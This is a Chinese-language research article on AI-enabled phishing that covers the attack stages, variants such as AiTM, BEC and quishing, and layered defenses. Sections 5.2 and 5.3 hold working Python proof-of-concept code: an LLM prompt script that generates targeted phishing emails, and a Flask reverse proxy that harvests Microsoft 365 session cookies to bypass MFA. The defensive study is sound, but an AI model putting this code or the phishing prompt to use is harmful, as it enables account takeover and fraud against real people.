摘要:全球网络安全统计数据显示,36% 的数据泄露事件初始入侵链路源自网络钓鱼攻击,生成式人工智能的规模化商用打破传统钓鱼内容制作门槛,推动钓鱼从批量群发向多模态、高定制化、跨渠道欺诈演化,传统基于关键词、静态域名黑名单、语法漏洞识别的防御体系适配性持续下滑。本文依托 2024—2026 年全球钓鱼攻击监测数据与典型实战案例,系统梳理网络钓鱼标准化攻击五阶段实施链路,分类剖析鱼叉钓鱼、鲸钓、AiTM 中间人劫持、短信钓鱼、深度伪造语音钓鱼、二维码钓鱼等主流变种的技术原理与欺诈逻辑,量化分析 AI 技术在诱饵生成、域名仿冒、深度伪造音视频制作层面的赋能路径;结合 Python 工程化代码复现 AiTM 反向代理劫持、AI 钓鱼邮件自动化生成核心技术逻辑,验证新型钓鱼绕过 MFA 多因素认证的实现机理;立足于攻击全链路短板,从技术架构、管理制度、人员安全意识三个维度构建分层闭环防御方案。反网络钓鱼技术专家芦笛指出,智能化钓鱼攻击实现了社会工程心理诱导与底层技术绕过的深度耦合,防御体系必须跳出静态特征匹配思维,转向行为基线校验、跨信道异地核验、多模态内容鉴伪的协同防护模式。研究结论可为政企单位落地反钓鱼安全建设、优化现有安全设备策略配置提供理论依据与工程参考。
关键词:网络钓鱼;生成式 AI;AiTM 中间人攻击;社会工程;闭环防御;多因素认证
1 绪论
1.1 研究背景与研究意义
自 20 世纪 90 年代 AOL 平台首次出现定向窃取账号的原始钓鱼攻击以来,网络钓鱼经过三十余年迭代已经成为全球发生频次最高、造成经济损失最突出的网络犯罪形态。FBI 互联网犯罪调查报告连续五年将网络钓鱼列为报案数量首位的网络安全事件,APWG 反钓鱼工作组 2024 年监测数据显示,全球每月新增恶意钓鱼站点数量稳定突破 100 万个,日均数十亿封钓鱼邮件、数十亿条钓鱼短信在全球通信网络流转。2023 年后生成式大模型、深度伪造音视频技术民用化落地,彻底消除了传统钓鱼邮件语法错误、文案生硬、个性化不足等天然破绽,攻击者依托大模型可在数秒内完成针对特定企业高管、财务人员的定制化欺诈文案,AI 克隆语音、AI 生成仿真视频进一步拓展语音钓鱼、视频鲸钓的欺诈边界,2024 年中国香港某跨国企业财务人员遭 AI 深度伪造高管视频诈骗,单笔转账损失达 2500 万美元,成为 AI 赋能钓鱼攻击标志性案例。
从行业受害分布来看,医疗、金融、政企、互联网科技是钓鱼攻击重点靶向领域:医疗机构存储的完整患者医疗档案在暗网交易单价远高于普通银行卡信息,成为黑产持续性攻击目标;金融机构资金流转链路清晰,商务邮件劫持(BEC)类钓鱼每年造成全球超 29 亿美元直接经济损失;政府单位涉密数据、企业知识产权则是 APT 组织利用鱼叉式钓鱼实施定向渗透的核心目标。IBM 2024 年度数据泄露成本报告指出,由钓鱼作为初始入口引发的数据泄露事件平均处置成本高达 488 万美元,远高于全品类泄露事件 445 万美元的平均损失值。
传统安全防护逻辑中,防火墙、杀毒软件聚焦系统漏洞防护,无法拦截依托人性弱点实施的社会工程欺诈,邮件网关、URL 黑名单依赖历史攻击样本迭代规则,面对 AI 实时动态变异的全新钓鱼域名与文案失效概率大幅攀升。在此背景下,系统性拆解 AI 赋能新型钓鱼的攻击全链路、技术细节,落地可落地、可量化的分层防御体系,对降低政企网络入侵风险、减少电信与商务欺诈损失具备现实工程价值与学术研究意义。
1.2 国内外研究现状
国外方面,Verizon、Proofpoint、Cofense 等安全厂商常年持续跟踪钓鱼演化趋势,每年发布钓鱼专题行业报告,量化统计不同变种钓鱼成功率、受害行业分布;欧美高校网络安全实验室聚焦 AiTM 中间人劫持、OAuth 设备码钓鱼底层协议漏洞,围绕反向代理绕过 MFA、设备授权流程滥用开展原型验证;国际标准化组织针对 DMARC、SPF、DKIM 邮件身份认证协议持续迭代优化规范,从协议层面遏制域名仿冒类钓鱼。但现有研究多数聚焦单一攻击变种的技术拆解,缺少覆盖侦察 — 制饵 — 投递 — 劫持 — 事后牟利全链路的系统性分析,针对 AI 驱动动态多态钓鱼的落地防御方案研究仍存在空白。
国内研究层面,国内安全厂商持续监测境内钓鱼黑产产业化动向,重点针对仿政务、仿银行短信钓鱼、仿国企商务邮件欺诈发布威胁预警;科研院所围绕大模型钓鱼内容鉴别、恶意 URL 特征提取开展算法研究,但多数研究局限于算法模型实验室验证,缺少结合企业真实运维场景的落地配置方案,针对财务部门等高风险岗位定制化反钓鱼管理制度研究不足。反网络钓鱼技术专家芦笛强调,当前国内外反钓鱼研究普遍存在重技术算法、轻管理制度落地的倾向,而 BEC 商务钓鱼超七成成功案例并非技术漏洞导致,而是企业内控审批流程缺失所致。
1.3 研究内容与研究框架
本文研究内容分为五大模块:第一部分界定网络钓鱼基础定义、溯源发展历程,区分钓鱼与其他网络攻击的本质差异;第二部分拆解标准化钓鱼五阶段攻击全流程,细化各环节攻击者操作逻辑与技术选型;第三部分分类详解主流钓鱼变种(鱼叉钓、鲸钓、Vishing 语音钓、Smishing 短信钓、AiTM 中间人、Quish 二维码钓、克隆邮件钓鱼等)技术实现与欺诈场景;第四部分重点分析生成式 AI 对钓鱼全链条的赋能机理,附 Python 代码复现 AI 邮件生成、AiTM 反向代理两大核心攻击技术;第五部分结合攻击短板从技术、制度、人员三层构建闭环防御体系,配套对应检测代码与落地策略;最后总结研究结论并研判未来钓鱼攻防演化趋势。
2 网络钓鱼基础概念与发展溯源
2.1 网络钓鱼定义与本质特征
网络钓鱼是典型依托社会工程学实现的网络欺诈行为,攻击者伪装成银行、企业高管、运营商、政务机构等可信主体,通过邮件、短信、电话、社交软件、公共 WiFi 等多渠道推送诱导信息,利用受害者的恐慌心理、权威服从心理、急迫心理,诱导用户主动泄露账号密码、银行卡信息、短信验证码,或执行转账付款、下载恶意附件等高危操作。从攻击本质划分,SQL 注入、勒索软件等常规网络攻击以挖掘操作系统、应用程序代码漏洞为突破口,而钓鱼攻击以人类认知短板为攻击突破口,无需突破防火墙、终端杀毒等边界安全设备,这也是钓鱼难以通过纯技术手段彻底根除的核心原因。
从学术分类上,钓鱼隶属于社会工程学大类,同类别还包含 pretext 借口诈骗、诱饵 U 盘攻击、尾随进门等物理社工手段,但钓鱼依托数字化通信渠道实现规模化批量投放,单名攻击者短时间可触达数十万潜在受害者,是社会工程中产业化程度最高、覆盖范围最广的分支。反网络钓鱼技术专家芦笛指出,所有钓鱼攻击万变不离其宗,核心三要素永远是可信身份伪装、急迫场景制造、高危动作诱导,无论技术如何迭代,三大底层逻辑不会发生改变。
2.2 网络钓鱼名称溯源与发展历程
“Phishing(钓鱼)” 是黑客群体对 Fishing 的刻意拼写变体,“ph” 拼写规则源自早期电话盗打(Phreaking)黑客社群,1995 年前后北美黑客在 AOL 即时通讯平台首次落地原始钓鱼攻击:攻击者伪装 AOL 官方客服,以账户安全核验为由索要用户登录密码,标志全球首起可追溯钓鱼攻击落地。按照技术迭代可划分为三个发展周期:
(1)初代粗放期(1995—2010):依托邮件、即时通讯群发通用模板钓鱼文案,文案普遍存在大量拼写、语法错误,域名仅简单修改 1~2 个字符,攻击无针对性,全靠海量群发博取极低点击率,主要目标为个人账户窃取;
(2)精细化定向期(2011—2022):攻击者依托领英、企业官网、公开招投标信息收集目标人员信息,鱼叉式钓鱼、鲸钓大规模落地,仿冒企业 CEO 邮件发起 BEC 商务转账欺诈成为企业重大损失主要诱因,MFA 多因素认证逐步普及倒逼 AiTM 中间人、OAuth 设备码钓鱼等绕过认证技术出现;
(3)AI 智能化多态期(2023 至今):生成式大模型、深度伪造技术全面赋能黑产,文案、音视频、钓鱼页面均可 AI 自动化生成,单套工具同时实现批量泛钓鱼与精准定制鱼叉钓,多模态(短信 + 电话 + 邮件 + 社交)联动钓鱼成为主流攻击模式。
2.3 钓鱼攻击与同类网络攻击的边界区分
2.3.1 钓鱼与 Pharming 域名毒化攻击区分
钓鱼依赖主动推送消息引导用户点击恶意链接跳转仿冒站点;域名毒化(Pharming)通过篡改 DNS 解析记录,用户手动输入正规域名也会被强制跳转钓鱼页面,无需攻击者主动发送诱导信息。二者最终落地场景均为仿冒登录页窃取凭证,但入口诱导逻辑完全不同。
2.3.2 钓鱼与普通恶意邮件区分
普通恶意邮件以附件捆绑病毒、木马为主,核心目的是下载恶意程序控制终端;钓鱼邮件极少捆绑恶意文件,以链接跳转、话术诱导用户主动输入隐私信息为主,BEC 商务钓鱼甚至无任何链接与附件,仅依靠文字指令诱导财务人员转账。
3 网络钓鱼标准化五阶段攻击全链路拆解
现代产业化钓鱼遵循标准化流水线作业,完整攻击流程分为侦察定位→诱饵制作→信息投递→诱导上钩→事后牟利五个阶段,各环节分工明确,黑产团伙甚至拆分不同团队专职负责单一环节,黑产 “钓鱼即服务 PhaaS” 平台进一步降低全链条实施成本。
3.1 第一阶段:侦察与目标筛选(Reconnaissance)
侦察环节决定后续诱饵精准度,分为广谱随机侦察与定向深度侦察两类。
广谱侦察面向海量未知目标,攻击者通过爬虫抓取公开泄露邮箱库、手机号资源,不做任何个性化信息收集,批量群发通用银行、快递、运营商钓鱼信息,依靠统计学概率获利:千万条信息群发下,0.1% 点击率即可造成上万账户被盗。
定向侦察服务于鱼叉钓、鲸钓等高精准攻击,攻击者通过企业官网、新闻公告、领英、招投标文件、社交媒体收集目标人员姓名、岗位、上下级关系、正在落地项目、常用合作供应商、出差行程等细节。例如针对企业 CFO 的鲸钓,攻击者会梳理企业财报信息、合作会计师事务所名称、监管单位信息,后续伪装审计、监管机构人员发送消息。Proofpoint 数据显示,定向钓鱼仅占全部钓鱼总量的 0.1%,但造成超 60% 的大型企业数据泄露与大额资金损失。
3.2 第二阶段:诱饵定制与加工(Weaponization)
诱饵是钓鱼核心欺诈载体,载体形态包含邮件正文、短信文本、AI 语音脚本、伪造二维码、仿冒页面、附件文档五大类,AI 普及后诱饵生产效率提升百倍以上。域名仿冒是诱饵配套常用手段,攻击者注册形近域名(micros0ft.com替换 o 为数字 0、аррlе.com 使用西里尔字母实现肉眼无法分辨的同形异码域名),配合复刻原版企业 LOGO、页脚版权信息,进一步提升页面可信度。
不同渠道诱饵设计逻辑存在差异化:短信(Smishing)受字数限制,文案简短直接,以快递滞留、账户冻结、补贴申领为主要场景;邮件诱饵可依托长篇正文铺垫场景,多用发票、文档共享、IT 系统升级通知;语音钓鱼(Vishing)依托实时对话,话术预留临场应变空间,AI 克隆语音可实时根据受害者回答动态调整话术。反网络钓鱼技术专家芦笛指出,AI 改造诱饵环节是近三年钓鱼成功率暴涨的关键,过去依靠错别字甄别钓鱼的安全培训逻辑已经基本失效。
3.3 第三阶段:诱饵多渠道投递(Delivery)
投递环节决定诱饵能否进入目标用户视野,攻击者根据载体选择差异化投递基础设施:
批量邮件钓鱼:利用被黑客攻陷的合法企业邮件服务器、境外免备案高抗封禁 “防弹主机” 群发,规避 SPF/DKIM 域名校验规则;高阶攻击采用横向钓鱼技术,攻陷企业内部某员工邮箱后,使用可信企业域名向内部同事、合作客户发送钓鱼邮件,域名天然通过邮箱安全网关校验;
短信钓鱼:借助伪基站、黑产短信通道篡改发送方显示号码,伪装官方客服短号;
电话钓鱼:AI 外呼机器人批量自动拨号,依托云端线路隐藏真实号码。
投递时间存在明显规律:攻击者普遍选择周二、周三工作日上午推送钓鱼信息,此时企业员工邮箱信息负载最高、注意力分散,更容易忽略异常细节。
3.4 第四阶段:上钩与恶意利用(Exploitation)
用户点击链接、填写信息、下载附件即进入上钩环节,攻击者三种收割路径:
(1)凭证收割:跳转克隆登录页面,用户输入账号密码实时回传攻击者服务器;AiTM 中间人模式进一步拦截登录后的会话 Cookie,直接绕过短信、APP 动态 MFA 验证;
(2)恶意载荷下发:Word 宏文档、PDF 漏洞附件打开后自动下载远控木马、窃密病毒,攻击者远程接管终端;
(3)纯话术欺诈(BEC):无任何恶意资源,用户被权威话术诱导直接对公 / 对私转账。
3.5 第五阶段:数据变现与次生攻击(Post-Attack)
窃取到的资源按照价值分层处置:高价值企业管理员账号、财务账户在暗网高价单独售卖;普通个人账户、社交账号打包批量流入黑产黑市。大量被盗邮箱被用来二次发起横向钓鱼,以被盗账号名义向通讯录好友发送欺诈信息,形成链式扩散。IBM 数据显示,被盗凭证平均 343 天后才会在暗网公开上架,大量滞后性诈骗让受害者难以关联早期钓鱼事件。
4 主流钓鱼攻击变种技术原理与场景分析
4.1 鱼叉式钓鱼(Spear Phishing)
鱼叉钓鱼是定向侦察落地的典型产物,瞄准单个企业、部门或固定小群体定制专属诱饵,区别于海量群发的广谱钓鱼。依托前期收集的项目名称、同事姓名、合作厂商信息,诱饵内容高度贴合目标日常工作场景,仿真度大幅提升,行业实测环境中鱼叉钓鱼平均点击率突破 30%,远高于广谱钓鱼 2.5% 的平均点击数据。APT 高级持续性威胁组织渗透政企时,几乎全部以鱼叉钓鱼作为初始入口。
4.2 鲸钓(Whaling)
鲸钓是鱼叉钓鱼的极致形态,靶向企业 CEO、CFO、法务负责人、董事会成员等高权限管理层,攻击者投入数周完成全维度信息摸排,伪装监管单位、合作大厂高管、律所顾问发起沟通,最终以紧急合规缴费、跨境临时付款、并购保证金等名义诱导大额转账。2016 年德国 FACC 航空配件企业遭鲸钓攻击,被骗 5000 万欧元是全球标志性鲸钓案例。
4.3 Smishing 短信钓鱼与 Vishing 语音钓鱼
Smishing 依托短信渠道分发钓鱼链接,移动端浏览器默认折叠完整 URL,用户无法直观分辨真实域名是短信钓鱼高发诱因,常见场景:快递派送失败点击链接补全收货信息、银行卡风控冻结验证身份、社保 / 公积金申领补贴。
Vishing 语音钓鱼依托电话通信,传统人工话术成本高,AI 语音克隆落地后实现自动化批量外呼,仅需目标 10 秒原始语音素材即可复刻音色,2024 年香港 2500 万美金诈骗案件中,攻击者使用深度伪造全仿真高管视频 + AI 语音完成全流程欺诈。
4.4 AiTM 中间人代理钓鱼(Attacker-in-the-Middle)
AiTM 是当前绕过 MFA 多因素认证最主流技术,攻击者搭建反向代理服务器架设在用户与正规网站中间,用户访问仿冒域名跳转代理,所有账号密码、MFA 验证码、登录会话 Cookie 全部实时经过攻击者服务器。即便用户完整完成二次验证码校验,攻击者凭借有效会话 Cookie 可直接免密登录目标账号,彻底废掉短信、谷歌验证器类 MFA 防护。下文 4.6 附 Python Flask 简化版 AiTM 代理代码,从工程层面验证劫持原理。
4.5 Quishing 二维码钓鱼(二维码钓鱼)
攻击者将恶意链接嵌入二维码,印刷在停车小票、餐厅菜单、会议资料、仿冒快递通知单,利用用户扫码习惯跳转钓鱼页面。企业邮件安全网关可扫描正文明文 URL,但无法解析图片内嵌二维码地址,成为绕过邮件安全过滤的重要手段;用户使用个人手机扫码后跳转钓鱼页面,脱离企业终端安全管控边界,进一步提升防护难度。
4.6 克隆邮件钓鱼与浏览器内嵌弹窗(BitB)钓鱼
克隆钓鱼复制企业过往真实官方邮件,仅替换原文内链接、附件为恶意资源,标注 “重新补发修正版附件” 再次发送,用户因曾经接收过原版邮件放松警惕;BitB(Browser-in-the-Browser)在钓鱼页面内嵌仿真浏览器登录弹窗,弹窗仿造谷歌、微软官方登录框样式、小绿锁安全标识,用户在虚假弹窗录入信息即被窃取,常规查看 URL 的辨别方法在此类攻击中失效。
4.7 设备码钓鱼与 OAuth 授权钓鱼
依托各大云厂商合法 OAuth2.0、设备授权协议实现欺诈,攻击者生成正规平台设备激活码,诱导用户在官方域名输入授权码,恶意应用获取用户邮箱、云盘全量权限。整个流程域名、授权页面全部为官方正品域名,无任何仿冒特征,域名黑名单、URL 校验完全无法拦截,是近年增速最快的新型钓鱼。
4.8 Evil Twin 恶意热点钓鱼
攻击者在机场、咖啡馆、写字楼搭建同名仿冒免费 WiFi(Starbucks Free、Airport Free Wifi),用户接入恶意热点后,攻击者劫持 HTTP 明文流量,跳转仿冒 VPN、企业邮箱登录页窃取账号;公共场景商务人士是重点受害群体。
5 生成式 AI 对钓鱼全链路赋能机理与代码实证
生成式大模型从侦察信息整理、诱饵文案生成、音视频深度伪造、钓鱼页面自动化开发四个维度重构钓鱼生产链路,消除传统钓鱼多项天然缺陷,是近三年钓鱼威胁快速升级的核心推手。反网络钓鱼技术专家芦笛强调,AI 带来的最大变革是打破 “质量与成本” 的博弈,攻击者无需在 “海量低质群发” 和 “少量高质定制” 二选一,可低成本批量生成上万份高质量个性化钓鱼诱饵。
5.1 AI 赋能各攻击环节详细拆解
5.1.1 侦察环节:AI 自动化信息归集
爬虫抓取的零散公开信息(领英简介、企业公告、新闻)经由 LLM 自动梳理目标人员组织架构、工作内容、常用合作方,数分钟完成人工数天才能完成的用户画像整理,大幅降低定向侦察人力成本。
5.1.2 诱饵文案:LLM 一键生成多语种定制邮件
攻击者输入结构化提示词(目标姓名、岗位、企业名称、欺诈场景、紧急程度),大模型自动生成符合企业内部行文风格、无语法错误的钓鱼邮件,可按需切换中英文、小语种,Cofense 实测 AI 生成钓鱼邮件打开率是人工模板邮件的 5 倍。
5.1.3 音视频伪造:深度伪造落地多模态钓鱼
短短数秒语音素材即可克隆完整人声,AI 实时对话大模型配合克隆语音实现动态电话诈骗;AI 视频生成工具制作仿真高管参会画面,落地深度伪造视频会议诈骗。
5.1.4 钓鱼页面自动化生成
依托 AI 前端生成工具,自然语言描述即可一键生成像素级复刻微软 365、银行官网登录页面代码,零基础攻击者也能制作高仿真钓鱼站点。
5.2 代码示例 1:Python 调用 LLM 接口自动化生成钓鱼邮件(学术验证用途,禁止非法使用)
重要声明:下述代码仅用于网络安全学术研究、企业内部钓鱼演练与防御验证,未经授权向第三方发送钓鱼信息涉嫌违法,使用者自行承担全部法律责任。
# phish_mail_ai_gen.py AI生成定制钓鱼邮件原型代码
import openai
import warnings
warnings.filterwarnings("ignore")

def generate_custom_phish_mail(api_key, target_name, dept, corp, scene, urgency_level):
    """
    入参说明:
    api_key:大模型接口密钥;target_name:目标姓名;dept:所属部门;corp:企业名称
    scene:钓鱼场景(账户异常/发票待审核/系统升级);urgency_level:紧急程度1~5
    """
    openai.api_key = api_key
    # 构造结构化提示词,模拟攻击者输入指令
    prompt = f"""
    你是企业IT运维负责人,给{corp}{dept}的{target_name}撰写正式企业内部邮件,
    场景:{scene},紧急等级{urgency_level}(5为最高紧急,催促立刻点击链接核验账号),
    行文风格贴合大型企业内部正式邮件,无语法错误,正文末尾附带一条账号安全验证链接。
    不要额外解释,只输出邮件正文+标题。
    """
    res = openai.ChatCompletion.create(
        model="gpt-3.5-turbo",
        messages=[{"role": "user", "content": prompt}],
        temperature=0.7
    )
    mail_content = res["choices"][0]["message"]["content"]
    return mail_content

# 测试调用
if __name__ == "__main__":
    # 测试参数,企业财务岗经典钓鱼场景
    mail = generate_custom_phish_mail(
        api_key="sk-xxx",
        target_name="张财务",
        dept="财务部",
        corp="XX实业有限公司",
        scene="企业对公网银系统异常风控锁定,未及时核验将冻结本月付款账户",
        urgency_level=5
    )
    print("AI生成钓鱼邮件内容:\n", mail)
代码逻辑说明:攻击者通过标准化入参填充目标信息,大模型依托提示词约束生成定制化钓鱼文案,完整复刻真实企业行文,从技术层面解释 AI 消灭文案破绽的实现原理。企业安全团队可基于同逻辑训练鉴别模型,反向识别 AI 生成异常邮件。
5.3 代码示例 2:Python Flask 简易 AiTM 反向代理实现(学术 PoC,仅用于防御原理研究)
重要声明:禁止部署代码用于非法窃取用户信息,仅用于安全实验室攻防演练、反钓鱼技术研究。
# aitm_proxy_poc.py 简化AiTM反向代理,劫持微软365登录凭证与Cookie
from flask import Flask, request, Response
import requests
from urllib.parse import urljoin, urlparse

app = Flask(__name__)
# 真实微软365登录域名
REAL_M365 = "https://login.microsoftonline.com"
# 存储劫持到的账号与Cookie数据
stolen_data = []

def proxy_forward(path, req_method, headers, post_data=None):
    # 清洗代理标识请求头,避免被目标服务器识别为代理访问
    clean_header = {k: v for k, v in headers.items() if k.lower() not in ["host", "content-length"]}
    clean_header["Host"] = urlparse(REAL_M365).netloc
    target_url = urljoin(REAL_M365, path)
    # 转发用户请求至官方服务器
    rsp = requests.request(
        method=req_method,
        url=target_url,
        headers=clean_header,
        data=post_data,
        allow_redirects=False,
        timeout=12
    )
    # 捕获响应Set-Cookie字段,窃取会话凭证
    set_cookie = rsp.headers.get("Set-Cookie", "")
    if set_cookie and ("ESTSAUTHPERSISTENT" in set_cookie or "MSIS" in set_cookie):
        user_agent = headers.get("User-Agent", "")
        client_ip = request.remote_addr
        stolen_data.append({
            "ip": client_ip,
            "ua": user_agent,
            "cookie": set_cookie,
            "time": str(request.args)
        })
        print("【AiTM劫持成功,已存储会话】", stolen_data[-1])
    return Response(rsp.content, status=rsp.status_code, headers=dict(rsp.headers))

@app.route("/<path:path>", methods=["GET", "POST"])
def proxy_all(path):
    if request.method == "POST":
        return proxy_forward(path, "POST", dict(request.headers), request.form)
    else:
        return proxy_forward(path, "GET", dict(request.headers))

if __name__ == "__main__":
    # 本地启动代理服务,用户访问127.0.0.1:5000/xxx即被劫持
    app.run(host="0.0.0.0", port=5000, debug=False)
代码原理:服务端作为中间人转发全部用户请求至真实微软服务器,用户输入账号密码、完成 MFA 验证的全部交互经过代理,服务器返回的身份认证 Cookie 被代码捕获,攻击者凭借劫持 Cookie 直接登录账户,实现绕过 MFA 防护。对应防御可依托下文 6.2 中 FIDO2 硬件密钥绑定域名实现阻断。
6 全链路分层闭环防御体系建设方案
结合前文攻击全链路各环节薄弱点,从技术安全配置、企业内控管理制度、全员安全意识建设三层搭建闭环防御,覆盖事前预防、事中拦截、事后应急处置全周期,反网络钓鱼技术专家芦笛指出,三层协同是破解 AI 智能化钓鱼的唯一可行路径,单一技术或培训无法实现长效防护。
6.1 第一层:基础设施技术防护(事前拦截钓鱼投递与访问)
6.1.1 邮件域启用 SPF+DKIM+DMARC 三重身份认证
SPF 限定可代发企业域名邮件的合法服务器 IP;DKIM 对出站邮件添加数字签名;DMARC 配置p=reject策略,凡是 SPF/DKIM 校验失败的仿冒域名邮件直接被收件服务器拒收,从源头拦截仿冒企业域名类钓鱼。大量企业仅配置p=none监控策略,仅记录数据不拦截邮件,防护形同虚设。
6.1.2 部署下一代安全邮件网关与 DNS 域名过滤
新一代邮件网关采用行为基线检测(建模员工日常收发信习惯,异常发信人、异常发送时段、异常附件自动拦截),跳出关键词、内容特征匹配局限,有效识别 AI 生成无特征钓鱼邮件;全网 DNS 过滤拦截已知恶意钓鱼域名解析,用户误点链接也无法完成页面访问。
6.1.3 关键业务全量部署 FIDO2 硬件密钥替代短信 MFA
短信、谷歌验证器类软 MFA 极易被 AiTM 劫持会话绕过,FIDO2 密钥与正规域名做密码学绑定,在仿冒钓鱼站点无法完成鉴权,是当前唯一可全量抵御 AiTM 劫持的认证方案,优先在财务、运维管理员账号落地。
6.1.4 浏览器安全控件 + 企业密码管理器落地
企业统一部署密码管理器,密码管理器基于域名绑定存储凭证,在仿冒钓鱼站点不会自动填充账号密码,从用户侧给出页面异常提示;终端批量启用浏览器安全浏览库(微软 SmartScreen、谷歌安全浏览),提前拦截已知恶意站点。
6.2 第二层:企业内控管理制度(阻断 BEC 与鲸钓落地关键)
6.2.1 财务付款跨信道异地核验制度(核心防 BEC 规则)
所有收到邮件、短信、社交软件发来的付款指令、供应商银行卡变更申请,禁止在原沟通渠道回复确认,必须通过企业留存的线下备案固定电话致电对接人核验信息。该制度是抵御 90% 鲸钓、BEC 欺诈最有效的管理手段,无论 AI 伪造信息仿真度多高,无法篡改企业线下留存的官方联系号码。反网络钓鱼技术专家芦笛强调,财务制度漏洞是大额商务钓鱼诈骗首要突破口,完善审批流程比采购高端安全设备性价比更高。
6.2.2 供应商信息全档案备案管理
所有合作供应商对公账户、对接人联系方式归档至企业 ERP 系统,任何账户变更必须走线下纸质审批 + 双渠道电话核验,杜绝仅凭线上消息变更收款账户。
6.2.3 高权限账号权限最小化管控
CEO、CFO 等高管日常办公账号取消大额付款审批权限,付款操作由财务专职账号独立处理,拆分权限避免单账号收到欺诈指令即可完成资金划转。
6.3 第三层:常态化人员安全运营与意识建设(缩小人为失误概率)
6.3.1 月度常态化企业内部仿真钓鱼演练
每月随机向全员发送模拟钓鱼邮件、短信,统计点击、填写信息人员,针对性开展专项培训;Proofpoint 数据显示,坚持月度钓鱼演练的企业员工钓鱼受骗率下降 64%,远优于年度单次合规培训效果。针对财务、行政、IT 等高危岗位定制 BEC、鲸钓专项演练。
6.3.2 适配 AI 钓鱼的新型安全培训
摒弃 “查找错别字识别钓鱼” 的老旧培训内容,重点培训跨信道核验流程、异常请求流程校验规则,灌输越紧急的付款指令越要多重核实的安全思维,明确:内容完美无错不能作为信息可信依据。
6.3.3 建立无惩罚钓鱼上报机制
员工误点可疑链接、填写信息后可无顾虑上报 IT 安全部门,企业不追责处罚,避免员工隐瞒事件导致攻击者在内网长期横向渗透。
6.4 钓鱼事件事后应急处置标准化流程(事中 + 事后闭环)
即时隔离:发现点击钓鱼链接后立刻断开设备内网,不关机保留内存取证信息;
账号处置:所有疑似泄露账号(邮箱、财务系统、云平台)全量修改密码,下线全部已登录会话,重置 MFA 绑定信息;
全域排查:安全人员排查该账号历史登录日志,核查是否出现异地异常登录、内部文件批量下载、供应商信息篡改等次生操作;
威胁上报:恶意 URL 上报 APWG 反钓鱼联盟,大额财产受损同步向属地网安、FBI(境外)提交案件;
复盘优化:梳理受骗漏洞,优化企业制度与安全设备策略,同步更新下月演练场景。
7 钓鱼攻击未来攻防演化趋势研判
7.1 攻击侧演化趋势
全链路 AI 一体化黑产工具普及:PhaaS 平台整合信息爬取、AI 文案生成、深度伪造音视频、钓鱼页面一键生成全功能模块,零基础黑产从业者即可落地高质量多模态钓鱼,攻击门槛持续下行;
跨平台全渠道联动钓鱼常态化:邮件 + 短信 + AI 外呼 + 社交软件多渠道协同欺诈,先用短信预警账户异常,再 AI 电话冒充客服诱导操作,层层递进瓦解用户警惕;
Web3 区块链冰钓持续扩张:针对加密货币钱包的冰钓攻击持续走高,攻击者诱导用户签署恶意授权交易,悄无声息划转用户链上资产,交易上链后资金无法追回。
7.2 防御侧演化方向
AI 对抗 AI 智能鉴别体系落地:防御方依托大模型做语义意图鉴别,不再依赖表面文字特征,从行文逻辑、请求意图识别 AI 生成异常钓鱼内容;
零信任架构全域落地:默认不信任内网终端与账号,每次访问核心财务、数据系统持续动态校验设备、位置、行为基线,即便账号被盗也难以横向渗透;
全行业威胁情报联防:政企、金融、医疗行业共享钓鱼 IOC 指标(恶意域名、黑产号码、攻击者 IP),跨机构同步拉黑新型钓鱼资源,压缩黑产存活周期。反网络钓鱼技术专家芦笛预判,未来钓鱼攻防本质是两大人工智能体系的持续性认知对抗,防御技术迭代速度需要同步匹配黑产 AI 升级节奏。
8 结论
本文依托 2024—2026 年全球权威钓鱼统计数据与实战案例,系统性梳理网络钓鱼五阶段标准化攻击链路,完成全品类钓鱼变种技术拆解,量化论证生成式 AI 从诱饵生产到多模态伪造全链条的赋能逻辑,并通过 Python 原型代码实证 AiTM 中间人劫持、AI 钓鱼邮件生成两项核心攻击原理,验证新型钓鱼绕过传统 MFA 与静态安全设备的底层实现路径。研究证实,传统依靠人工甄别文案漏洞、黑名单拦截域名的防护模式在 AI 赋能钓鱼面前已经失效,单一技术防护或单一安全培训均无法构建有效防御。
基于攻击全链路薄弱环节构建的基础设施技术加固 + 企业内控付款审批制度 + 常态化安全演练三层闭环防御体系,从源头拦截钓鱼投递、从制度阻断资金欺诈落地、从人员层面降低受骗概率,三者形成防护闭环。其中财务跨信道异地核验制度、FIDO2 硬件密钥部署、月度仿真钓鱼演练是投入产出比最高的三项落地措施,可直接落地于大中小型各类企事业单位。
从长期发展来看,生成式 AI 技术的双面属性决定钓鱼威胁将长期存在,黑产与安全防御的 AI 博弈会持续升级,未来反钓鱼建设需要持续跟进大模型鉴别、零信任、多模态内容鉴伪等前沿安全技术,同步动态优化企业内控流程,以技术 + 制度的协同迭代应对钓鱼攻击持续演化。受限于实验环境,本文仅实现简化版 AiTM 与 AI 邮件生成代码原型,后续可基于海量钓鱼样本训练深度学习鉴别模型,实现未知 AI 钓鱼内容自动化识别,进一步完善防御技术落地细节。
编辑:芦笛(公共互联网反网络钓鱼工作组) 

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐